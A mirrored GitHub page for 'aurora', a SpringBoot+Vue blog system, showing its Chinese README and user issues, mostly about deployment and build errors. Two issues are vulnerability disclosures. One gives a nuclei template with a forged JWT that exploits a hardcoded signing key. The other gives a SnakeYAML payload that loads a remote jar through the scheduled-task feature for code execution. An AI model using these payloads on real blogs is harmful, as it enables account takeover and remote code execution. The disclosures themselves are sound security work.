Giter Site home page Giter Site logo

linhaojun857 / aurora Goto Github PK

View Code? Open in Web Editor NEW
3.7K 19.0 618.0 5.7 MB

基于SpringBoot+Vue开发的个人博客系统

Home Page: https://www.linhaojun.top

License: Apache License 2.0

Java 52.49% HTML 0.73% Vue 46.72% Dockerfile 0.06%
springboot vue docker elasticsearch minio mybatis-plus mysql nginx quartz rabbitmq

aurora's Introduction

Aurora---前后端分离博客

前言

  • 开源不易,希望大家star支持一下
  • 由于本人还在上学,主语言并不是Java,所以项目更新频率较慢,但是本项目会长期维护,有问题可以提issue, 同时也欢迎大家来共建此项目,包括但不限于:bug 修复、代码优化、功能开发等等

在线地址

效果图

图片1:

图片1

图片2:

图片2

相关技术

前端:

  • 样式来自于:hexo的aurora主题
  • 基础框架:vue3(前台) vue2(后台)
  • 状态管理:pinia(前台) vuex(后台)
  • 路由组件:vue-router
  • 网络请求:axios
  • 其他技术:详见前端项目的package.json

后端:

  • 基础框架:springboot
  • ORM框架:mybatisplus
  • 权限框架:springsecurity
  • 缓存中间件:redis
  • 消息中间件:rabbitmq
  • 搜索引擎:elasticsearch
  • 对象存储:minio
  • 定时任务:quartz
  • 其他技术:详见后端项目的pom.xml

后续计划

  • 前台代码优化
  • 后台vue3重构
  • 后端提供轻量化选择

部署

  • 详见项目部署文档

交流群

  • QQ群:338371628

鸣谢

  • 感谢jetbrains提供的开源开发许可证

aurora's People

Contributors

08820048 avatar anxuezhi avatar feiyisi avatar leveljava avatar linhaojun857 avatar remix-system avatar yigubigu522 avatar youngyo avatar zhaozhibiao1 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

aurora's Issues

评论Bug

评论有bug,用户提交评论需要校验参数

[vulnerability] Unauthorised Access Vulnerability

1. Steps to reproduce

Modify the sub field in jwt to be the id of another user to fake his/her identity.

image-20240218171327317

The nuclei template is as follows

id: aurora-jwt-hardencoding

info:
  name: Aurora blog jwt secret key hardencoding
  author: calico
  severity: high
  description: jwt secret key hardcoding leads to unauthorised access
  reference:
    - https://github.com/linhaojun857/aurora/
  tags: unauth

requests:
  - raw:
      - |+
        GET /api/admin/users/role HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
        Accept: application/json, text/plain, */*
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJjMThlZTQxYWRmZDk0ZDYyOWQ2ZjExNTAxM2NkMjVmNiIsInN1YiI6IjEiLCJpc3MiOiJodWF3ZWltaWFuIn0.JoipYRzDC3jKAqNhV_0skiq4XikhNCmj2shMl5F1euA
        Connection: close


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":20000'
      - type: status
        status:
          - 200

image-20240218172407307

2. Expected behavior

The JwtAuthenticationTokenFilter gets the jwt from the request via the tokenService#getUserDetailDTO method.

image-20240218170357360

image-20240218170417008

Call the parseToken method to verify that the jwt is valid.

3. Actual behavior

In the parseToken method, get the signing key for jwt via the generalKey method

image-20240218170159108

Since SECRET is hardcoded in the code, the same key is returned in the generalKey method, resulting in a forged jwt

image-20240218170211967

4. Affected Version

latest

5. Fixes Recommendations

Randomly generate the key for jwt when the program is run

运行MaxWell通信链路故障 连接不上mysql

不知道这个问题发现了没 maxwell启动的时候一直启动失败 报错信息是连接数据库失败 ,经过查看官方文档maxwell启动似乎默认连接的是3306端口 而我更改了mysql的默认端口 故在作者启动命令上添加端口参数 --port=8000 整体启动命令如下 docker run --name maxwell --restart=always -d zendesk/maxwell bin/maxwell --user='root' --password='123456' --host='xxx.xxx.xxx' --port=8000 --producer=rabbitmq --rabbitmq_user='root' --rabbitmq_pass='123456' --rabbitmq_host=''xxx.xxx.xxx' --rabbitmq_port='5672' --rabbitmq_exchange='maxwell_exchange' --rabbitmq_exchange_type='fanout' --rabbitmq_exchange_durable='true' --filter='exclude: ., include: aurora.t_article.article_title = *, include: aurora.t_article.article_content = *, include: aurora.t_article.is_delete = *, include: aurora.t_article.status = *' //运行MaxWell 这样我才得已启动
image

强烈支持

项目很棒,人很强,有时间学习下。

mq相关

没有考虑mq的消息可靠性、幂等性吗?

关于后端日志记录问题

纯萌新,为何后端的日志不直接在Aspect异步记录,而要发布事件通过EventListener异步记录,这里没看懂,是有什么用意吗,求解

[vulnerability] Remote Code Execute

1. Steps to reproduce

Using the project https://github.com/artsploit/yaml-payload, modify AwesomeScriptEngineFactory.java as follows

image-20240218210104501

Building and package, moveyaml-payload.jar into the root directory of the web service

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

A new scheduled task is created as follows

image-20240218203904983

调用方法 field is org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://IP:PORT/yaml-payload.jar"]]]]')

Execute this task after submission to remotely execute arbitrarily code

2. Expected behavior

The com.aurora.util.JobInvokeUtil#invokeMethod method is used to reflectively execute the specified method of the given class

image-20240218211601330

3. Actual behavior

However, there is no filtering of incoming class names and method names in this method, resulting in dangerous class names and method names being passed in and executed

4. Affected Version

latest

5. Fixes Recommendations

  1. Filter dangerous class names
  2. Filter unnecessary protocols such as http, rmi, etc.

项目FAQ(常见问题解答)汇总

issues说明

  • 项目在部署和使用过程中的一些常见问题作一个汇总以及解答,如果您遇到的问题在此issues中仍未得到解答,请在此issues下提出您的问题详细,或者在我们的QQ交流群中进行提问解决。
  • 当然,如果你还发现并解决了项目的其他问题,非常欢迎来此贡献你的思路。
  • 另外,项目在B站也有了对应的部署视频,需要的小伙伴可以去看看,配合文档食用,直接香喷喷。@沈自在 录屏不易,欢迎一键三连。
  • 视频部署教程传送门

FAQ正文

​ 在阅读下面的内容之前,确保你拉取的是博主最新的代码,可以避免很多坑。

如何将博客项目部署上线?

见项目部署文档。

为什么我按照文档操作,前台成功https,后台不行?

在保证完全套用文档提供的模板之后,请检查前后台所用ssl证书是否相同,确保一个域名对应一个证书文件。

为什么开启了MaxWellElasticSearch却无法搜索出内容?

保证运行无异常情况下,首次使用需要手动通过后台定时任务的方式将数据库数据同步到ES中。

为什么下载的sql文件出现导入失败?

建议直接将你的MySQL版本升到8.x版本。

为什么【相册】功能无法显示?

相册默认数据为空,请自己存一些照片数据即可。

为什么我docker容器服务都正常打开了,却无法访问?

检查你的服务器防火墙和安全组规则,确保对应服务所需的端口处于放行状态,由于不同系统命令差异,请自行百度(Google)解决。

为什么我前台页面都按照文档填写了QQ登录信息,但还是出现QQ登录错误?

检查是否在后台的application.yml配置文件中的app-id: 项也配置了自己正确的app-id:

为什么邮件提示显示的是博主的博客名称?

自行修改后端邮件模板user.html、Owner.html以及其他代码部分涉及的内容即可。

为什么前端执行npm命令总是报错?

检查自己的npm、vue以及node等版本信息,具体参考部署文档提供的版本号。

为什么【关于】页面显示异常?

确保数据库有数据,如果你修改了默认管理员账户,记得关注以下用户id。

为什么我的QQ互联审核信息提交显示修改失败异常?

检查提交的信息是否正确,确认登录的账户是否通过了 邮箱验证。

如何更换自己的图像验证码?

百度【天御验证码】,进入官网自行按照文档提示设置,拿到自己的验证码key,替换博主的即可。

QQ互联信息中的【回调地址】怎么写?

示例格式:https://你的域名/oauth/login/qq

QQ互联信息的【提供方】怎么写?

一般指的是你域名备案的地方,比如我在阿里云进行的备案,就写阿里云。

QQ互联的【网站图标】什么意思?

随便传张图片,大小要求100x100即可。

前端项目run的时候出现类似xxx模块找不到等错误怎么办?

参考【项目部署文档】里面提供的npm、vue版本并自行调整。

如果登录过程出现如下报错,请将JDK版本换为1.8,或则添加下面的依赖进行修复。

javax/xml/bind/DatatypeConverter...

 <dependency>
            <groupId>javax.xml.bind</groupId>
            <artifactId>jaxb-api</artifactId>
            <version>2.3.0</version>
        </dependency>
        <dependency>
            <groupId>com.sun.xml.bind</groupId>
            <artifactId>jaxb-impl</artifactId>
            <version>2.3.0</version>
        </dependency>
        <dependency>
            <groupId>com.sun.xml.bind</groupId>
            <artifactId>jaxb-core</artifactId>
            <version>2.3.0</version>
        </dependency>
        <dependency>
            <groupId>javax.activation</groupId>
            <artifactId>activation</artifactId>
            <version>1.1.1</version>
        </dependency>

npm install

read-shrinkwrap This version of npm is compatible with lockfileVersion@1, but package-lock.json was
前端编译不过,你的编译vue npm 是什么版本?

说说中的bug

前台点击说说,找到8月30号和8月29号的说说,点击之后出现短暂界面后,报404错误

npm install安装依赖报警告

aurora-blog项目使用npm install安装依赖报警告 运行页面报错,node版本是14.10.0
警告信息:
npm WARN deprecated @babel/[email protected]: This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babe
l/plugin-transform-class-properties instead.
npm WARN deprecated [email protected]: See https://github.com/lydell/source-map-url#deprecated
npm WARN deprecated [email protected]: Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.
org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility
npm WARN deprecated [email protected]: Please upgrade to consolidate v1.0.0+ as it has been modernized with several long-awaited fixes implemented. Maintenance is supported by Forward Em
ail at https://forwardemail.net ; follow/watch https://github.com/ladjs/consolidate for updates and release changelog
npm WARN deprecated [email protected]: Please see https://github.com/lydell/urix#deprecated
npm WARN deprecated [email protected]: this library is no longer supported
npm WARN deprecated [email protected]: See https://github.com/lydell/source-map-resolve#deprecated
npm WARN deprecated [email protected]: https://github.com/lydell/resolve-url#deprecated
npm WARN deprecated [email protected]: Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.d
ev/blog/math-random for details.
npm WARN deprecated [email protected]: request has been deprecated, see request/request#3142
页面错误信息:
Cannot read properties of undefined (reading 'avatar')
TypeError: Cannot read properties of undefined (reading 'avatar')
at Proxy.render (webpack-internal:///./node_modules/babel-loader/lib/index.js!./node_modules/ts-loader/index.js??clonedRuleSet-41.use[1]!./node_modules/vue-loader/dist/templateLoader.js??ruleSet[1].rules[4]!./node_modules/vue-loader/dist/index.js??ruleSet[0].use[0]!./src/components/ArticleCard/src/HorizontalArticle.vue?vue&type=template&id=0b1a5d7e&scoped=true&ts=true:119:30)
at renderComponentRoot (webpack-internal:///./node_modules/@vue/runtime-core/dist/runtime-core.esm-bundler.js:890:38)
at ReactiveEffect.componentUpdateFn [as fn] (webpack-internal:///./node_modules/@vue/runtime-core/dist/runtime-core.esm-bundler.js:5067:46)
at ReactiveEffect.run (webpack-internal:///./node_modules/@vue/reactivity/dist/reactivity.esm-bundler.js:216:19)
at instance.update (webpack-internal:///./node_modules/@vue/runtime-core/dist/runtime-core.esm-bundler.js:5164:51)
at setupRenderEffect (webpack-internal:///./node_modules/@vue/runtime-core/dist/runtime-core.esm-bundler.js:5172:5)
at mountComponent (webpack-internal:///./node_modules/@vue/runtime-core/dist/runtime-core.esm-bundler.js:4986:5)
at processComponent (webpack-internal:///./node_modules/@vue/runtime-core/dist/runtime-core.esm-bundler.js:4951:9)
at patch (webpack-internal:///./node_modules/@vue/runtime-core/dist/runtime-core.esm-bundler.js:4633:11)
at mountChildren (webpack-internal:///./node_modules/@vue/runtime-core/dist/runtime-core.esm-bundler.js:4790:7)

打包问题

image

这个是什么问题,我尝试下载了lombok(没用),版本jdk20

aurora-blog 模块启动错误

aurora-blog 依赖下载好之后,启动的时候,报错了、Google了一圈没有解决的。
ERROR in src/views/Tags.vue:18:64
TS2307: Cannot find module 'vue' or its corresponding type declarations.
16 |
17 | <script lang="ts">

18 | import { defineComponent, onMounted, onUnmounted, toRef } from 'vue'
| ^^^^^
19 | import Breadcrumb from '@/components/Breadcrumb.vue'
20 | import { useI18n } from 'vue-i18n'
21 | import { useTagStore } from '@/stores/tag'

ERROR in src/views/Talk.vue:52:81
TS2307: Cannot find module 'vue' or its corresponding type declarations.
50 |
51 | <script lang="ts">

52 | import { defineComponent, onMounted, reactive, toRefs, provide, computed } from 'vue'
| ^^^^^
53 | import { useRoute, useRouter } from 'vue-router'
54 | import { useI18n } from 'vue-i18n'
55 | import Breadcrumb from '@/components/Breadcrumb.vue'

ERROR in src/views/TalkList.vue:62:62
TS2307: Cannot find module 'vue' or its corresponding type declarations.
60 |
61 | <script lang="ts">

62 | import { defineComponent, onMounted, reactive, toRefs } from 'vue'
| ^^^^^
63 | import { useI18n } from 'vue-i18n'
64 | import Breadcrumb from '@/components/Breadcrumb.vue'
65 | import { Sidebar, Profile } from '../components/Sidebar'

首页-归档出现月份错乱问题

image
如图,显示的月份是正确的月份的上个月;
且控制台报错:找不到settings.months下标为12的元素
image
英文版也出现相同问题。

npm8.3.1编译失败

一, 软件版本

node  v18.18.0
npm   8.3.1
@vue/cli 5.0.8

编译命令

npm install 

npm run dev

二, 错误日志

ERROR in src/views/FriendLink.vue:47:81
TS2307: Cannot find module 'vue' or its corresponding type declarations.
    45 |
    46 | <script lang="ts">
  > 47 | import { defineComponent, reactive, provide, computed, toRefs, onMounted } from 'vue'
       |                                                                                 ^^^^^
    48 | import { useI18n } from 'vue-i18n'
    49 | import { Sidebar, Profile } from '../components/Sidebar'
    50 | import Breadcrumb from '@/components/Breadcrumb.vue'

ERROR in src/views/Home.vue:72:84
TS2307: Cannot find module 'vue' or its corresponding type declarations.
    70 |
    71 | <script lang="ts">
  > 72 | import { computed, defineComponent, onMounted, ref, toRefs, toRef, reactive } from 'vue'
       |                                                                                    ^^^^^
    73 | import { Feature, FeatureList } from '@/components/Feature'
    74 | import { ArticleCard, HorizontalArticle } from '@/components/ArticleCard'
    75 | import { Title } from '@/components/Title'

ERROR in src/views/Message.vue:23:81
TS2307: Cannot find module 'vue' or its corresponding type declarations.
    21 | </template>
    22 | <script lang="ts">
  > 23 | import { defineComponent, onMounted, reactive, toRefs, computed, provide } from 'vue'
       |                                                                                 ^^^^^
    24 | import { useI18n } from 'vue-i18n'
    25 | import { Sidebar, Profile } from '../components/Sidebar'
    26 | import Breadcrumb from '@/components/Breadcrumb.vue'

ERROR in src/views/Photos.vue:44:61
TS2307: Cannot find module 'vue' or its corresponding type declarations.
    42 | </template>
    43 | <script lang="ts">
  > 44 | import { computed, defineComponent, reactive, toRefs } from 'vue'
       |                                                             ^^^^^
    45 | import { useI18n } from 'vue-i18n'
    46 | import { useCommonStore } from '@/stores/common'
    47 | import { useRoute, onBeforeRouteUpdate } from 'vue-router'

ERROR in src/views/Tags.vue:18:64
TS2307: Cannot find module 'vue' or its corresponding type declarations.
    16 |
    17 | <script lang="ts">
  > 18 | import { defineComponent, onMounted, onUnmounted, toRef } from 'vue'
       |                                                                ^^^^^
    19 | import Breadcrumb from '@/components/Breadcrumb.vue'
    20 | import { useI18n } from 'vue-i18n'
    21 | import { useTagStore } from '@/stores/tag'

ERROR in src/views/Talk.vue:52:81
TS2307: Cannot find module 'vue' or its corresponding type declarations.
    50 |
    51 | <script lang="ts">
  > 52 | import { defineComponent, onMounted, reactive, toRefs, provide, computed } from 'vue'
       |                                                                                 ^^^^^
    53 | import { useRoute, useRouter } from 'vue-router'
    54 | import { useI18n } from 'vue-i18n'
    55 | import Breadcrumb from '@/components/Breadcrumb.vue'

ERROR in src/views/TalkList.vue:62:62
TS2307: Cannot find module 'vue' or its corresponding type declarations.
    60 |
    61 | <script lang="ts">
  > 62 | import { defineComponent, onMounted, reactive, toRefs } from 'vue'
       |                                                              ^^^^^
    63 | import { useI18n } from 'vue-i18n'
    64 | import Breadcrumb from '@/components/Breadcrumb.vue'
    65 | import { Sidebar, Profile } from '../components/Sidebar'

后台管理登录

后台管理登录/api/users/login接口是否缺失,在后端代码没有找到对应的接口

前端工程构建问题

请问前端工程最好使用哪个版本的node,我看了部署文档,vue/cli选择5.0.6没有这个版本,今天被这这个版本问题整嘛了,来自一名还没学过前端框架的后端学习者。

markdown渲染问题

给了一段文字居中,但是发布文章后,显示有问题
同样的问题还有右对齐、角标等。
image

image

minio文件访问bug + 前端修改建议

bug:

用minio做对象存储,访问路径是uri+bucketName+path,目前的逻辑把bucketName忘掉了,会访问不到

建议:

前端的访问可以从绝对路径改成相对路径,这样的话可以把前台后台配置在同一个域名下,通过不同的路径区分

如:xxx.com是前台, xxx.com/admin/是后台

前端技术栈真是我知识盲区了,尝试自己改,改了好久都没改好😂

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.